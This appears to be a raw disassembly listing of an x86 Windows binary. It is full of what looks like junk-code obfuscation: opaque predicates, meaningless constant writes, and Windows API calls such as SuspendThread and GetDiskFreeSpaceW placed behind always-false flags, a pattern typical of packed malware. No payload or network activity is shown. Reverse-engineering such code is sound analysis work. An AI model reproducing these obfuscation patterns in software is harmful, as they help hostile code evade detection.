mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xdf8], 8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10031acc
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x10031b0d
xor esi, esi
inc esi
push dword [ebp - 0x18]
lea ecx, [ebp - 0x794]
call fcn.100193d1
mov dword [eax], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10031af1
or esi, 0xffffffff
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x794]
xor eax, eax
inc eax
push eax
call fcn.100193d1
mov ecx, dword [ebp - 0xdf4]
cmp dword [ebp - 0x34], 6
mov dword [eax], ecx
jne 0x10031b49
xor eax, eax
mov dword [ebp - 0x3c], esi
push eax
lea ecx, [ebp - 0x794]
call fcn.100193d1
mov ecx, dword [ebp - 0x3c]
add ecx, dword [eax]
jne 0x10031b49
xor eax, eax
jmp 0x10031b4c
xor eax, eax
inc eax
mov dword [ebp - 0x2dc], eax
lea ecx, [ebp - 0x794]
mov dword [ebp - 4], esi
call fcn.100193cc
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0x19
jne 0x10031aa6
xor ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 0x34], 0xfffffff0
jmp 0x10031b9a
mov dword [ebp - 0x44], 0x5969a22d
cmp dword [ebp - 0x44], eax
je 0x10031b8e
cmp dword [ebp - 0x34], eax
je 0x10031b8e
mov eax, ecx
mov dword [ebp - 0x2dc], eax
dec dword [ebp - 0x34]
push 0
pop eax
cmp dword [ebp - 0x34], 0xffffffeb
je 0x10031b7b
mov dword [ebp - 0x24], 0x69ff4caa
lea ecx, [ebp - 0xb14]
mov dword [ebp - 0x4c], 0x3ec3
push 2
call fcn.10019343
mov dword [ebp - 4], 8
xor edx, edx
push 0xfffffffffffffffe
pop ecx
mov dword [ebp - 0x28], 0x11e7bff4
inc edx
mov dword [ebp - 0x50], ecx
push 0xfffffffffffffff6
pop eax
mov dword [ebp - 0x3c], eax
xor eax, eax
mov dword [ebp - 0x40], 0xe01e6e83
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jge 0x10031c10
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xb14]
call fcn.100193d1
mov dword [eax], 0x2e31d83
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jl 0x10031bf0
xor edx, edx
inc edx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x50], eax
xor eax, eax
cmp dword [ebp - 0x50], eax
jne 0x10031c4b
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x28], edx
jne 0x10031c2e
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x50], eax
je 0x10031c30
mov ecx, edx
mov eax, dword [ebp - 0x28]
add eax, ecx
neg eax
cmp eax, 0xc8b4
jg 0x10031c47
xor eax, eax
cmp dword [ebp - 0x50], eax
jne 0x10031c4b
jmp 0x10031c49
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
setge cl
sub ecx, dword [ebp - 0x3c]
add ecx, dword [ebp - 0x28]
jne 0x10031c6e
xor eax, eax
cmp dword [ebp - 0x40], eax
jne 0x10031c6e
cmp dword [ebp - 0x58], eax
jne 0x10031c6e
xor edx, edx
inc edx
jmp 0x10031c73
xor edx, edx
inc edx
mov eax, edx
mov dword [ebp - 0x3c], eax
xor ecx, ecx
mov eax, dword [ebp - 0x3c]
add eax, dword [ebp - 0x28]
cmp eax, 0x71d69170
setle cl
xor eax, eax
add ecx, dword [ebp - 0x40]
cmp ecx, 0x372625aa
jge 0x10031c9a
mov esi, eax
cmp dword [ebp - 0x50], eax
je 0x10031c9c
mov esi, edx
push eax
lea ecx, [ebp - 0xb14]
call fcn.100193d1
xor ecx, ecx
inc ecx
mov dword [eax], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x28]
cmp esi, eax
setl cl
sub ecx, dword [ebp - 0x58]
neg ecx
sbb ecx, ecx
inc ecx
neg ecx
dec ecx
neg ecx
sbb ecx, ecx
or esi, 0xffffffff
neg ecx
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x50]
sub ecx, eax
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0xb14]
mov dword [ebp - 4], esi
call fcn.100193cc
xor eax, eax
lea ecx, [ebp - 0x488]
inc eax
mov dword [ebp - 0x2c], eax
push 2
call fcn.10019343
xor eax, eax
mov dword [ebp - 4], 9
mov dword [ebp - 0x2c], eax
jmp 0x10031d19
push dword [ebp - 0x2c]
call fcn.100193d1
mov dword [eax], 7
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
lea ecx, [ebp - 0x488]
jl 0x10031d08
xor eax, eax
inc eax
push eax
call fcn.100193d1
and dword [eax], 0
jmp 0x10031d9a
xor eax, eax
mov dword [ebp - 0x24], 0x76e6bacd
mov dword [ebp - 0x24], eax
jmp 0x10031d83
mov dword [ebp - 0x2c], 0xd94543be
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10031d5c
call ebx
push eax
call dword [sym.imp.USER32.dll_GetMenu]
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x10031d7a
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10031d77
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
xor eax, eax
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xfffffff9
jge 0x10031d61
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffeb
jne 0x10031d41
xor eax, eax
lea ecx, [ebp - 0x488]
inc eax
push eax
call fcn.100193d1
inc dword [eax]
xor eax, eax
lea ecx, [ebp - 0x488]
inc eax
push eax
call fcn.100193d1
cmp dword [eax], 0x15
jg 0x10031d33
lea ecx, [ebp - 0x488]
mov dword [ebp - 4], esi
call fcn.100193cc
xor eax, eax
lea ecx, [ebp - 0x4a0]
inc eax
push eax
call fcn.10019343
mov dword [ebp - 4], 0xa
xor eax, eax
mov dword [ebp - 0x38], 0xfffffffe
xor ecx, ecx
mov dword [ebp - 0x38], 5
inc ecx
mov dword [ebp - 0x38], 0x65256810
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ecx
jge 0x10031e15
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x4a0]
call fcn.100193d1
mov dword [eax], 0x5d6c05ba
xor eax, eax
inc dword [ebp - 0x2c]
inc eax
cmp dword [ebp - 0x2c], eax
jl 0x10031df4
xor eax, eax
push eax
lea ecx, [ebp - 0x4a0]
call fcn.100193d1
and dword [eax], 0
jmp 0x10031f3a
mov dword [ebp - 0x24], 0xb4074dd
xor eax, eax
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x38], 0x9aaed6b6
mov dword [ebp - 0x38], 6
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x38], 0xa9bca7b
mov dword [ebp - 0x38], 0x6b43d271
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x10031e65
push eax
call dword [sym.imp.GDI32.dll_GetObjectType]
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x19
jge 0x10031f2c
mov dword [ebp - 0x2c], eax
lea ecx, [ebp - 0xf04]
mov dword [ebp - 0x38], 0xfffffffb
push 3
call fcn.10019343
mov byte [ebp - 4], 0xb
xor eax, eax
mov dword [ebp - 0x3c], 7
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x10031ebe
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xf04]
call fcn.100193d1
mov dword [eax], 0x63ab1943
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x10031e9f
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x10031f07
mov dword [ebp - 0x38], 0x9598aaf0
mov dword [ebp - 0x38], 0xd5befa1e
mov dword [ebp - 0x38], 0x491ba6b4
mov dword [ebp - 0x38], esi
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10031f01
push eax
push 0xc09
push 0x2658
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBColorTable]
xor eax, eax
inc dword [ebp - 0x3c]
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffe2
jle 0x10031ec3
lea ecx, [ebp - 0xf04]
mov byte [ebp - 4], 0xa
call fcn.100193cc
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x19
push 0
pop eax
jl 0x10031e72
push eax
lea ecx, [ebp - 0x4a0]
call fcn.100193d1
inc dword [eax]
xor eax, eax
lea ecx, [ebp - 0x4a0]
push eax
call fcn.100193d1
cmp dword [eax], 2
jge 0x10031e29
lea ecx, [ebp - 0x4a0]
mov dword [ebp - 4], esi
call fcn.100193cc
mov dword [ebp - 0x38], 0x3cdc1821
xor eax, eax
mov dword [ebp - 0x38], 2
mov dword [ebp - 0x24], 0xd29be1d9
mov dword [ebp - 0x3c], 0xf3d37a5b
mov dword [ebp - 0x3c], 0xfffffffb
mov dword [ebp - 0x44], 0xcb972524
push 4
mov dword [ebp - 0x18], eax
pop ecx
cmp dword [ebp - 0x18], ecx
jge 0x10031fae
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1358], 0xc59cdc34
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10031f96
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x10031fce
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1370], 0xfd43ddca
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10031fb6
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10031fef
push 0x247e
push 0x15b8
push 0x1238
call ebx
push eax
call dword [sym.imp.USER32.dll_CheckRadioButton]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x1350], eax
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
xor eax, eax
cmp dword [ebp - 0x24], eax
jle 0x10032018
cmp dword [ebp - 0x44], eax
je 0x10032018
lea ecx, [eax + 1]
jmp 0x1003201a
mov ecx, eax
mov dword [ebp - 0x136c], ecx
xor edx, edx
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
cmp eax, edx
setne cl
xor eax, eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x38], 0x8915ced7
mov dword [ebp - 0x18], 0xe0648261
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x10032069
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x12a4], 0xe4fc2285
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x10032050
xor eax, eax
push 0x12
mov dword [ebp - 0x18], 0x13
pop ecx
jmp 0x1003208b
mov dword [ebp - 0x3c], 0x446df37d
cmp dword [ebp - 0x3c], eax
jne 0x10032090
mov dword [ebp - 0x3c], 8
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10032075
mov dword [ebp - 0x18], 0x15
jmp 0x100320d2
mov dword [ebp - 0x24], 0x72d9ee1c
mov dword [ebp - 0x38], 0x4c59cdc3
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jg 0x100320cf
mov dword [ebp - 0x3c], 5
inc dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp + eax*4 - 0x12a4]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jle 0x100320b0
xor eax, eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jne 0x10032099
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jge 0x100320f9
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x1518], 0xdb2213aa
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jl 0x100320e0
xor eax, eax
xor ecx, ecx
mov dword [ebp - 0x1c], 0xfc07e17f
inc ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], eax
jmp 0x1003211c
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xd64], 0x255d
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x1003210b
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
sub eax, 0xa
cmp eax, 0x2d91
mov eax, dword [ebp - 0x1c]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, 0xffff
setne cl
cmp eax, ecx
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x1c]
jg 0x10032150
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
push 6
pop ecx
sub ecx, eax
xor eax, eax
imul edx, ecx
cmp edx, dword [ebp - 0x1c]
jne 0x100321f6
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x10032199
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x11fc], 0xf6cbcb1a
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 3
jl 0x10032180
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jg 0x100321ca
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x11fc], 0
jne 0x100321c8
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], al
je 0x100321bf
call dword [sym.imp.USER32.dll_DestroyCaret]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x100321a2
xor eax, eax
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10032227
push 0x1138
push 0x1914
push 0x105d
push 0x6e
call ebx
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_IntersectClipRect]
jmp 0x10032227
mov dword [ebp - 0x1c], eax
jmp 0x10032221
mov dword [ebp - 0x28], eax
jmp 0x10032218
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10032215
push eax
call ebx
push eax
call dword [sym.imp.USER32.dll_ShowOwnedPopups]
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
je 0x10032200
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x2f
jle 0x100321fb
mov eax, dword [ebp - 0x48]
xor ecx, ecx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
cmp eax, 0x6974edf0
setg cl
cmp dword [ebp - 0x48], ecx
jge 0x1003224b
xor eax, eax
cmp dword [ebp - 0x20], eax
jne 0x1003224b
xor ebx, ebx
inc ebx
jmp 0x10032250
xor ebx, ebx
inc ebx
mov eax, ebx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x48]
neg eax
sbb eax, eax
neg eax
cmp eax, esi
mov eax, dword [ebp - 0x48]
sbb ecx, ecx
xor edx, edx
neg ecx
cmp eax, ecx
setg dl
sub edx, dword [ebp - 0x48]
neg edx
sbb edx, edx
xor eax, eax
inc edx
cmp edx, esi
setg al
xor ecx, ecx
imul eax, eax, 0x7c0e
test eax, eax
mov eax, dword [ebp - 0x4c]
sets cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x48]
setle dl
xor ecx, ecx
cmp eax, edx
setle cl
xor eax, eax
cmp ecx, 0x31dda87b
setle al
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x1003231c
mov dword [ebp - 0x3c], 0xf8f5
xor edx, edx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x14]
cmp eax, ecx
setne dl
xor ecx, ecx
imul edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
cmp edx, eax
mov eax, dword [ebp - 0x2c]
setne cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x4c]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x24], ecx
jmp 0x1003270e
movdqa xmm0, xmmword [0x1000b1c0]
lea eax, [ebp - 0x1144]
push eax
lea eax, [ebp - 0x1154]
push eax
lea ecx, [ebp - 0x13a8]
movdqu xmmword [ebp - 0x1154], xmm0
call fcn.100193e0
lea ecx, [ebp - 0x22d]
mov esi, eax
call fcn.1000c383
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x5d0]
push dword [esi]
call fcn.100193a2
mov dword [ebp - 4], 0xc
mov dword [ebp - 0x44], 0xfffffffd
mov dword [ebp - 0x18], 0xf16de6ea
mov dword [ebp - 0x24], 0xec7e011b
mov dword [ebp - 0x28], 0x2d748aee
mov dword [ebp - 0x3c], 0x307758a8
push 0xfffffffffffffffc
pop eax
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0x20], 0x600bf094
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x100323be
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x150], 0x7a4a12b5
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x100323a5
xor eax, eax
cmp dword [ebp - 0x14c], eax
je 0x100323d0
mov esi, ebx
cmp dword [ebp - 0x150], eax
jne 0x100323d2
mov esi, eax
push 3
lea ecx, [ebp - 0x5d0]
call fcn.100193d1
mov ecx, dword [ebp - 0x44]
xor edx, edx
cmp esi, ecx
setge dl
xor ecx, ecx
cmp dword [eax], edx
setle cl
imul eax, ecx, 0x89b4
test eax, eax
jne 0x10032403
cmp dword [ebp - 0x18], eax
je 0x10032405
mov eax, ebx
jmp 0x10032405
xor eax, eax
mov dword [ebp - 0x24], eax
xor edx, edx
mov ecx, dword [ebp - 0x148]
mov eax, dword [ebp - 0x24]
cmp eax, ecx
setl dl
cmp edx, dword [ebp - 0x148]
jge 0x10032434
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x10032434
push 3
lea ecx, [ebp - 0x5d0]
call fcn.100193d1
push 2
lea ecx, [ebp - 0x5d0]
call fcn.100193d1
xor eax, eax
cmp dword [ebp - 0x18], eax
jne 0x1003244e
mov eax, dword [ebp - 0x148]
mov eax, dword [ebp - 0x148]
lea ecx, [ebp - 0x5d0]
mov eax, dword [ebp - 0x24]
push 2
call fcn.100193d1
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x1422
jg 0x10032485
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x148], eax
je 0x10032487
mov edx, ebx
mov eax, dword [ebp - 0x150]
xor ecx, ecx
cmp edx, eax
setne cl
xor edx, edx
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0x148]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setne dl
xor eax, eax
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x20], eax
je 0x100326b9
mov dword [ebp - 0x40], 0x38be40e
lea ecx, [ebp - 0x94c]
push 2
call fcn.10019343
xor eax, eax
mov byte [ebp - 4], 0xd
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x100324f7
push dword [ebp - 0x20]
lea ecx, [ebp - 0x94c]
call fcn.100193d1
mov dword [eax], 0x4edb
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x100324d8
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x1003266e
mov dword [ebp - 0x14], 0xfffb
mov dword [ebp - 0x3c], 0xcbd95d60
mov dword [ebp - 0x1c], 2
cmp dword [ebp - 0x1c], eax
jl 0x1003266b
push 2
lea ecx, [ebp - 0x4b8]
call fcn.10019343
xor eax, eax
mov byte [ebp - 4], 0xe
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x20], eax
jmp 0x1003254c
push dword [ebp - 0x20]
lea ecx, [ebp - 0x4b8]
call fcn.100193d1
and dword [eax], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x10032538
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x150], 0
je 0x10032570
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jle 0x100324ff
mov dword [ebp - 0x18], 0xffffffe3
jmp 0x100326a6
cmp dword [ebp - 0x18], 0x38
jne 0x10032681
mov dword [ebp - 0x1c], eax
jmp 0x100326d3
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x100326d0
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x100326be
or eax, 0xffffffff
lea ecx, [ebp - 0x5d0]
mov dword [ebp - 4], eax
call fcn.100193cc
mov dword [ebp - 0x24], ebx
xor eax, eax
cmp dword [ebp - 0x24], eax
jl 0x1003270e
mov byte [ebp - 0x2d], al
cmp byte [ebp - 0x2d], 0
je 0x10032709
push eax
push 0x894
push eax
push eax
call edi
xor eax, eax
dec dword [ebp - 0x24]
jns 0x100326f4
movdqa xmm0, xmmword [0x1000b1e0]
lea eax, [ebp - 0x1004]
push eax
lea eax, [ebp - 0x1014]
mov dword [ebp - 0x20], 3
push eax
lea ecx, [ebp - 0x1468]
movdqu xmmword [ebp - 0x1014], xmm0
call fcn.100193e0
lea ecx, [ebp - 0x193]
mov esi, eax
call fcn.1000c383
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x125c]
push dword [esi]
call fcn.100193a2
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x20], 0x1b
cmp dword [ebp - 0x20], 0x19
jg 0x1003283c
push 4
pop esi
push esi
lea ecx, [ebp - 0x3cc]
call fcn.10019343
xor eax, eax
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jge 0x100327af
or esi, 0xffffffff
lea ecx, [ebp - 0x125c]
mov dword [ebp - 4], esi
call fcn.100193cc
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x40], 0xfffffff6
mov dword [ebp - 0x18], 0x18
jmp 0x10032a2b